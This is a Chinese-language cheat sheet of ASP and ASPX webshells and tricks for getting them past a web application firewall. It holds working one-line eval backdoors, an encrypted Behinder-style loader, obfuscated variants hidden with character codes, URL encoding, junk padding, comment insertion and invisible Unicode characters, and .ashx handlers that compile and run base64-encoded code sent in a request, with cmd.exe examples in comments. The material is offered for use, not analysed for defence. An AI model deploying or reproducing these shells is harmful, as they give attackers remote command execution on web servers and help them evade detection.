VSCODE 修改编码格式,如果Waf不支持编码UTF16编码的话,同样存在waf绕过的可能性
//⑧花括号和分号特性asp.net环境下
//原理:{}和分号;在原本语法结束的地方可以添加大量的该类混淆,不会影响其原本的解析
<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>
//⑨代码块格式
<% @language="C#" %>
<%Response.Write("hello world ashx");%>
//手法如下
<script language=csharp runat=server>
void page_load(){Response.Write("hello world");}
</script>
//即利用void page_load()的手法绕
<script language=csharp runat=server>
void page_load(){
Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>
//⑩换行特性
aspx也可支持换行特性
//十一.c#的 ///特性和xml 即注释符号特性
如例子如下
<%
@
language
=
c#
%>
<%
@Import
Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#
"e45e329feb5d925b"); byte[]
//////@#@!#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#
k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
//////@#@!#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#[email protected]#
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
asp和aspx的区别与联系
1.)aspx不能执行asp相关语法,asp也不能执行aspx相关的语法
<%
dim aaa
aaa="sdasdasda"
//for i=1 to 10
//response.write(time())
response.write(aaa)
Response.Write(DateTime.Now.Date.ToShortDateString())
%>
//如上面的dim这种是支持在aspx下运行的,但是其他的就都不行了,例如for循环
2.)分号问题
asp默认语法是不支持分号的,一个分号也不行,只有@language=jscript之类的前缀的支持分号。
3.)aspx后缀+无前缀说明支持REM注释
在这种情况下,aspx后缀支持rem xxx和单引号来进行注释,不支持// , /**/ , <!-->
如下所示
<%
dim aaa
aaa="sdasdasda"
response.write(aaa)Response.Write("Test")
rem asdasdasdasdsaasdasdasdas
' asdasdasd
%>
这个特性我不知道有啥用,aspx后缀支持asp的注释却又不支持asp的语法
而想要用aspx的语法又必须加上c#,加上c#后又不能支持asp的注释了
4.)aspx不必闭合 asp不闭合就报错了,而如果使用的是aspx后缀
<%execute request("cmd")%>
一句话木马
asp的
<% execute(request("value")) %>
<%eval request ("value")%>
aspx的
<%@ Page Language="Jscript" %>
<% eval(Request.Item["value"]) %>
冰蝎asp马 常规的
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
中转马
<%@ page Language="Jscript" %>
<%
System.IO.File.WriteAllText(System.Web.HttpContext.Current.Server.MapPath("")+"\\1.txt",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("YXNkYXNkc2Q=")));
%>
以前bypass
//①利用函数bypass思路-->爆一级后门 asp的马
<%
Function b():
b = request("99999")
End Function
Function f():
eXecUTe(b())
End Function
f()
%>
//②类bypass asp的马
<%
Class zzzprivate yyy
Private Sub Class_Initialize
yyy
= ""
End Sub
public property let www(yyy)
execute(yyy)
end propertyEnd Class
Set xxx
= New zzz
dim vvv(7)
vvv(2)=request("99999")
xxx.www= vvv(2)
%>
//③编码的思路asp的马 后门密码1fg7wcusijnbhk
<%
Function fwomckmokef(fownmcjon)
fownmcjon = Split(fownmcjon,"()")
For z=1 To Ubound(fownmcjon)
fwomckmokef=fwomckmokef&Chr(fownmcjon(z)-98765)
Next
End Function
ExecuteGlobal fwomckmokef("()98866()"&"98883()98862()98873()"&"98797()98879()98866()98878()98882()98866()98880()98881()98805()"&"98799()98814()98867()98868()98820()98884()98864()98882()98880()98870()98871()"&""&"98875()98863()"&"98869()98872()98799()98806")
%>
//④aspx的马 原理 char()码过免杀
<%@ Page Language="Jscript"%>
<%
var a = Request.Item["M"];
var b = "un" + Char ( 115 ) + Char ( 97 ) + "fe";//主要就是这个地方 其他地方好像不会管
eval(a,b);
Response.Write("Test");
%>
//⑤asp的
<%
P=request("pass")
A=mid(P,1,1)
B=mid(P,2,9999)
eval A&B
%>
//aspx的
<%@ Page Language="Jscript"%>
<%
var p = Request.Item["M"];
var a = p.substring(0,1);
var b = p.substring(1,99999);
var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
eval(a+b,c);
%>
//aspx的原理char()
<%@ Page Language="Jscript"%>
<%
var a = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
var b = Char ( 82 ) + Char ( 101 ) + Char ( 113 ) + Char ( 117 ) + Char ( 101 ) + Char ( 115 ) + Char ( 116 ) + Char ( 46 ) + Char ( 73 ) + Char ( 116 ) + Char ( 101 ) + Char ( 109 ) + Char ( 91 ) + Char ( 34 ) + Char ( 77 ) + Char ( 34 ) + Char ( 93 );
var M = eval(b,a);
var T = eval(M,a);
Response.Write("Test");
%>
//asp的
<%
Function GetBaidu()
E = ("Request." & Chr ( 70 ) & "orm")
M = Chr ( 34 ) & ("M") & Chr ( 34 )
T = "eva" & Chr ( 108 ) & UnEscape("%20" & E & "%28" & M & "%29")
'%><%//%><%eXeCutegLobaL (T)
End Function
GetBaidu()
%>
//asp的 ,填充脏数据思路bypass
<%
a="11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"
eval " "&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")
%>
//利用编码bypass的思路
<%
Function test():
dim aaa
aaa="%65%76%61%6c%28%72%65%71%75%65%73%74%28%22%6d%72%36%22%29%29"
test = unescape(aaa)
End Function
eval(test())
%>
//内嵌url代
<%
Function b():
dim aaa
aaa="%65%76%61%6c%28%72%65%71%75%65%73%74%28%22%6d%72%36%22%29%29"
b = unescape(aaa)
End Function
Function f():
eval(b())
End Function
f()
%>
//
<%@ language = VBscript %>
<%<!–%^_^%–>
SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1″)
LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
LandGrey.AddObject "REsponse", Response
LandGrey.AddObject "r"&chr(101)&"quEst", requesT
LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn
LandGrey.AddObject "serv"&chr(101)&"r", serVer
LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application
x=("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"fool"&chr(34)&CHR(41)&")")
LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"fool"&chr(34)&CHR(41)&")")
%>
1.)获取后门密码方法 利用response.write
<%
Function fwomckmokef(fownmcjon)
fownmcjon = Split(fownmcjon,"()")
For z=1 To Ubound(fownmcjon)
fwomckmokef=fwomckmokef&Chr(fownmcjon(z)-98765)
Next
End Function
response.write fwomckmokef("()98866()"&"98883()98862()98873()"&"98797()98879()98866()98878()98882()98866()98880()98881()98805()"&"98799()98814()98867()98868()98820()98884()98864()98882()98880()98870()98871()"&""&"98875()98863()"&"98869()98872()98799()98806")
%>
<%@ WebHandler Language="C#" class="DynamicCodeCompiler"%>
using System;
using System.Web;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;public partial class DynamicCodeCompiler : IHttpHandler
{
public bool IsReusable
{
get { return false; }
}
public static string SourceText(string txt)
{
StringBuilder sb = new StringBuilder();
sb.Append("using System;");
sb.Append(Environment.NewLine);
sb.Append("namespace Neteye");
sb.Append(Environment.NewLine);
sb.Append("{");
sb.Append(Environment.NewLine);
sb.Append(" public class NeteyeInput");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(" public void OutPut()");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append("}");
string code = sb.ToString();
return code;
}
public static void DynamicCodeExecute(string txt)
{
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; //编译器
CompilerParameters comPara = new CompilerParameters(); //编译器参数
comPara.ReferencedAssemblies.Add("System.dll");
comPara.GenerateExecutable = false;
comPara.GenerateInMemory = true;
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt));
Assembly objAssembly = compilerResults.CompiledAssembly;
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput");
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut");
var result = objMifo.Invoke(objInstance, null);
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
//start calc: System.Diagnostics.Process.Start("cmd.exe","/c calc"); => U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
//show ipconfig: System.Diagnostics.Process.Start("cmd.exe","/c ipconfig"); => U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBpcGNvbmZpZyIpOw==
DynamicCodeExecute(context.Request["txt"]);
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}
}
<%@ WebHandler Language="C#" class="JscriptDynamicCodeCompiler"%>
using System;
using System.Web;
using System.CodeDom.Compiler;
using System.Reflection;/// <summary>
/// code by Ivan1ee, just for fun!
/// </summary>
public static class DynamicCodeCompiler
{
private static Type _runType; private static object _runInstance;
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@[email protected]*/v/*@[email protected]*/a/*@[email protected]*/l(expression);
}
}";
private static void Initialize()
{
CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateInMemory = true;
parameters.ReferencedAssemblies.Add("System.dll");
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@[email protected]*/", ""));
Assembly assembly = results.CompiledAssembly;
_runType = assembly.GetType("JScriptRun");
_runInstance = Activator.CreateInstance(_runType);
}
public static string Run(string expression)
{
if (_runInstance == null)
Initialize();
object result = _runType.InvokeMember("RunExp", BindingFlags.InvokeMethod, null, _runInstance, new object[] { expression });
return (result == null) ? null : result.ToString();
}
}
/// <summary>
/// Handler1 的摘要说明
/// </summary>
public class JscriptDynamicCodeCompiler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
//start calc: System.Diagnostics.Process.Start("cmd.exe","/c calc"); => U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
//show ipconfig: System.Diagnostics.Process.Start("cmd.exe","/c ipconfig"); => U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBpcGNvbmZpZyIpOw==
DynamicCodeCompiler.Run(System.Text.Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(context.Request["txt"])));
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}
public bool IsReusable
{
get
{
return false;
}
}
}
Java - SpringBoot 持久化 WebShell(适配任何符合JavaEE规范的服务)
https://github.com/threedr3am/ZhouYu